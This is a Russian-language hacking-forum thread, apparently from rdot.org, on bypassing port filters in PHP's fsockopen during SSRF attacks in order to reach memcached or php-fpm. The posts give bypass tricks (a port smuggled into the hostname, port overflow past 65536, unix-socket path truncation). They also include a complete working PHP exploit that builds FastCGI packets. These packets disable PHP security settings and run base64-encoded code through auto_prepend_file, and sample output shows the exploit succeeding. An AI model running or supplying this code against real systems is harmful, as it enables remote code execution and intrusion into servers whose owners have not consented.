Старый 30.07.2014, 21:58   #1
dharrya
 
Аватар для dharrya
 
Регистрация: 13.12.2011
Сообщений: 21
Репутация: 20
По умолчанию SSRF + фильтрация портов в fsockopen

Наткнулся на проект с SSRFиной и перегруженной функцией fsockopen с предварительной фильтрацией нежелательных портов, таких как 11211. Да, затея достаточно плохая, но что поделать...
Нашел пару способов обогнуть, но чувствую что есть еще хитрости:-) Для простоты и удобства, примеры фильтрации буду писать на PHP.
И так, что я смог придумать:
1. Сначала проверялся только второй аргумент функции, т.е. только порт:
PHP код:
function connect($host$port) {
    if (
$port == 11211)
        return;

    return 
fsockopen($host$port);

В общем, не правильно совсем. Т.к. php_stream_xport_create принимает только один аргумент (протокол + хост + порт) и потом парсит, то fsockopen делает конкатенацию:
PHP код:
if (port 0) {
    
hostname_len spprintf(&hostname0"%s:%ld"hostport);
} else {
    
hostname_len host_len;
    
hostname host;

Таким образом, достаточно было передать нужный порт и фейковый:
PHP код:
function connect($host$port) {
    if (
$port == 11211)
        return;

    return 
fsockopen($host$port);
}

var_dump(connect("target:11211blahblah"80)); 
2. Это быстренько учли и добавили валидацию, скопипастив логику из PHP. Присмотрелся к php_tcp_sockop_connect, и заметил что порт парсится в int и затем приводится к unsigned short. Получился очень простой вариант обхода:
PHP код:
function connect($host$port) {
    if (
$port == 11211)
        return;

       
// Условная проверка, что порт не будет передан в хосте. Убьет IPv6, ну да и фиг с ним
    
if (!preg_match("#^(?:[a-z0-9+.-]+?://)?[a-z0-9._-]+$#iD"$host))
        return;

    return 
fsockopen($host$port);
}

var_dump(connect("target"11211 65536)); 

Увы, это все на что меня хватило:-(
Окончательная фильтрация порта работает так:
1. Сначала делается конкатенация, потом парсится. Сделано копипастой из php, не подкопаться.
2. Проверяются границы port > 0 && port < 65535
3. Порт сверяется со списком запрещенных

Может у вас есть еще какие-нибудь варианты обхода подобных фильтраций порта или знаете какие особенности fsockopen? Может через какой-то хитрый протокол (я не нашел увы ничего походящего)?

Последний раз редактировалось dharrya; 30.07.2014 в 22:47..
dharrya вне форума   Ответить с цитированием
Старый 30.07.2014, 22:48   #2
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Цитата:
Может у вас есть еще какие-нибудь варианты обхода подобных фильтраций порта или знаете какие особенности fsockopen? Может через какой-то хитрый протокол (я не нашел увы ничего походящего)?
может и быть, можеть и ест

но вы, как и предыдущие ораторы, совсем не написали, откуда берется $host

т.е. что таки подконтрольно во всем вашем тексте безумном))

Почему безумном? Потому что, если вы еще и $host контролируете, то порт вам откровенно похуй, ибо:

https://rdot.org/forum/showpost.php?p=31357&postcount=70

а если только порт, то покажите сначала свои 2 варианта, а потом уже требуйте новых

Последний раз редактировалось Pashkela; 30.07.2014 в 22:52..
Pashkela вне форума   Ответить с цитированием
Старый 30.07.2014, 23:18   #3
dharrya
 
Аватар для dharrya
 
Регистрация: 13.12.2011
Сообщений: 21
Репутация: 20
По умолчанию

Хм, видимо и правда вышло слишком безумно:-)
Дано:
1. Типичная SSRFина. Контролируется хост и порт, есть строка без фильтрации CRLF (которая пишется в открытый поток), ответ от сервера читается и выводится пользователю. Сам "создатель" велел заиспользовать.
2. Есть Memcached сервер, с известным адресом и портом (в примерах это target:11211). Больше ничего интересного нет.
3. Есть фильтрация порта 11211:
Цитата:
Окончательная фильтрация порта работает так:
1. Сначала делается конкатенация, потом парсится. Сделано копипастой из php, не подкопаться.
2. Проверяются границы port > 0 && port < 65535
3. Порт сверяется со списком запрещенных
Нужно достучаться до memcached. Любопытен именно этот конкретный кейс.

Цитата:
а если только порт, то покажите сначала свои 2 варианта, а потом уже требуйте новых
Я же показывал в топике, видимо не достаточно выделил? Вот они:
PHP код:
fsockopen("target:11211blahblah"80); // Оказалось в "SSRF bible. Cheatsheet" уже описали этот вариант:-)
fsockopen("target"11211 65536); 
Именно благодаря ним фильтрация стала такой какой стала, изначально (как я и писал в посте) проверялся только $port. Теперь ищу другие варианты обхода.
Цитата:
Почему безумном? Потому что, если вы еще и $host контролируете, то порт вам откровенно похуй, ибо:

https://rdot.org/forum/showpost.php?p=31357&postcount=70
Хмм...ээээ...не увидел никакой связи с моим кейсом:-)

P.S. Так менее безумно?:-)

Последний раз редактировалось dharrya; 30.07.2014 в 23:26..
dharrya вне форума   Ответить с цитированием
Старый 14.08.2015, 23:14   #4
dharrya
 
Аватар для dharrya
 
Регистрация: 13.12.2011
Сообщений: 21
Репутация: 20
По умолчанию

Если вдруг кому пригодится - для unix-сокетов есть еще один замечательный вариант обхода валидации:
PHP код:
main/streams/xp_socket.c

static inline int parse_unix_address(php_stream_xport_param *xparamstruct sockaddr_un *unix_addr TSRMLS_DC)
{
    
memset(unix_addr0sizeof(*unix_addr));
    
unix_addr->sun_family AF_UNIX;

    
/* we need to be binary safe on systems that support an abstract
     * namespace */
    
if (xparam->inputs.namelen >= sizeof(unix_addr->sun_path)) {
        
/* On linux, when the path begins with a NUL byte we are
         * referring to an abstract namespace.  In theory we should
         * allow an extra byte below, since we don't need the NULL.
         * BUT, to get into this branch of code, the name is too long,
         * so we don't care. */
        
xparam->inputs.namelen sizeof(unix_addr->sun_path) - 1;
        
php_error_docref(NULL TSRMLS_CCE_NOTICE,
            
"socket path exceeded the maximum allowed length of %lu bytes "
            "and was truncated"
, (unsigned long)sizeof(unix_addr->sun_path));
    }

    
memcpy(unix_addr->sun_pathxparam->inputs.namexparam->inputs.namelen);

    return 
1;

В случае если путь к unix-сокету превышает sockaddr_un.sun_path (char sun_path[108]; ) PHP просто усекает путь и выплевывает нотис. Не совсем ясна подобная логика, ну да ладно...

PoC:
PHP код:
php var_dump(fsockopen('unix:///tmp/1.sock'80));
PHP Warning:  fsockopen(): unable to connect to unix:///tmp/1.sock:80 (No such file or directory) in php shell code on line 1

Warningfsockopen(): unable to connect to unix:///tmp/1.sock:80 (No such file or directory) in php shell code on line 1
bool(false)
php var_dump(fsockopen('unix:///tmp/////////////////////////////////////////////////////////////////////////////////////////////////1.sock'80));
PHP Notice:  fsockopen(): socket path exceeded the maximum allowed length of 108 bytes and was truncated in php shell code on line 1

Notice
fsockopen(): socket path exceeded the maximum allowed length of 108 bytes and was truncated in php shell code on line 1
resource
(2of type (stream
Как видно во втором случае ":80" просто обрезалось.
Кейс достаточно редкий, но может кому будет полезен.

Последний раз редактировалось dharrya; 15.08.2015 в 00:10..
dharrya вне форума   Ответить с цитированием
Старый 08.03.2017, 15:39   #5
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

Отличная находка.

Может кто-то подскажет по моему случаю, что нужно положить в $_packet?

PHP код:
$socket fsockopen('unix:///run////////////////////////////////////////////////////////////////////////////////////php/php5.6-fpm.sock'80);

fwrite($socket$_packet);
while(!
feof($socket)) {
    echo 
fgets($socket);
}

fclose($socket); 
Возможно ли вообще такое и в какую сторону копать?

Последний раз редактировалось crlf; 08.03.2017 в 17:02..
crlf вне форума   Ответить с цитированием
Старый 08.03.2017, 16:53   #6
dharrya
 
Аватар для dharrya
 
Регистрация: 13.12.2011
Сообщений: 21
Репутация: 20
По умолчанию

Код:
Может кто-то подскажет по моему случаю, что нужно положить в $_packet?
Для общения с php-fpm, я пользуюсь такой штукой:
PHP код:
<?php
function sendRequest($host$port 0$packet "") {
    
$body '';
    
$headers '';
    
$errno '';
    
$errstr '';
    
$timeout 1;
    if(
$port 0)
        
$host "tcp://${host}:${port}/";
    else
        
$host "unix://${host}";

    
$connection stream_socket_client($host$errno$errstr$timeout);
    if (
$connection) {
        
stream_set_timeout($connection1);
        
fputs($connection$packet);
        while(!
feof($connection)) {
            
$line fgets($connection4096);
            if(
$line == "\r\n")
                break;

            
$headers .= $line;
        }

        while(!
feof($connection))
            
$body .= fgets($connection4096);

        
fclose($connection);
        if (
strpos($headers'Primary script unknown') !== false || strpos($headers'Status: 404 Not Found') !== false) {
            echo 
"Test failed:(\n";
            echo 
$headers;
        } else {
            echo 
"Successful\n";
            
var_dump($headers);
            
var_dump($body);
        }
    } else {
        echo 
"no connection:`(";
    }
}

function 
initializeParams($id$params = array()){
    
$type 4;
    
$data "";

    foreach (
$params as $key => $value) {
        
$data .= pack("CN",strlen($key),(1<<31) | strlen($value));
        
$data .= $key;
        
$data .= $value;
    }

    return 
to_s(
        
$id,
        
$type,
        
$data
    
);
}

function 
to_s($id$type$data ""){
    
$packet sprintf("\x01%c%c%c%c%c%c\x00",
        
$type,
        
$id 256$id 256,
        
strlen($data) / 256strlen($data) % 256,
        
strlen($data) % 8
    
);
    
    
$packet .= $data;
    
$packet .= str_repeat("\x00",(strlen($data) % 8));
    return 
$packet;
}

function 
buildPacket($payload "echo 'OK';"$scriptFile "/usr/share/php/PEAR.php") {
    
$payload base64_encode($payload);
    
$packet "";
    
$packet .= to_s(1,1,"\x00\x01\x00\x00\x00\x00\x00\x00");
    
$packet .= initializeParams(1,
        array(
            
"REQUEST_METHOD" => "GET",
            
"SERVER_PROTOCOL" => "HTTP/1.1",
            
"GATEWAY_INTERFACE" => "CGI/1.1",
            
"SERVER_NAME" => "localhost",
            
"HTTP_HOST" => "localhost",
            
"REMOTE_ADDR" => "127.0.0.1",
            
"SCRIPT_FILENAME" => $scriptFile,
            
"PHP_ADMIN_VALUE" => join("\n", [
                
"allow_url_fopen=On",
                
"allow_url_include=On",
                
"disable_functions=Off",
                
"open_basedir=Off",
                
"short_open_tag=On",
                
"auto_prepend_file=data:,".urlencode("<?=eval(base64_decode('${payload}'));?>")
            ])
        )
    );
    
$packet .= to_s(1,4);
    
$packet .= to_s(1,5);

    return 
$packet;
}

$packet buildPacket('echo "OK!";');
sendRequest('localhost'9000$packet);
В действии:
Код:
$ php -f test.php
Successful
string(73) "FX-Powered-By: PHP/7.1.2
Content-type: text/html; charset=UTF-8
"
string(21) "OK!"
Соответственно нужный тебе код в в функции buildPacket. Единственное условие - для выполнения произвольного кода, тебе нужно знать путь к одному ЛЮБОМУ php-файлу. Это может быть PEAR или Composer или что-угодно еще (e.g. ты нашел раскрытие пути в проекте).
dharrya вне форума   Ответить с цитированием
Старый 08.03.2017, 17:02   #7
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

Спасибо за помощь, нашёл вариант https://rdot.org/forum/showpost.php?...2&postcount=19, а потом увидел твой ответ. Rdot торт
crlf вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot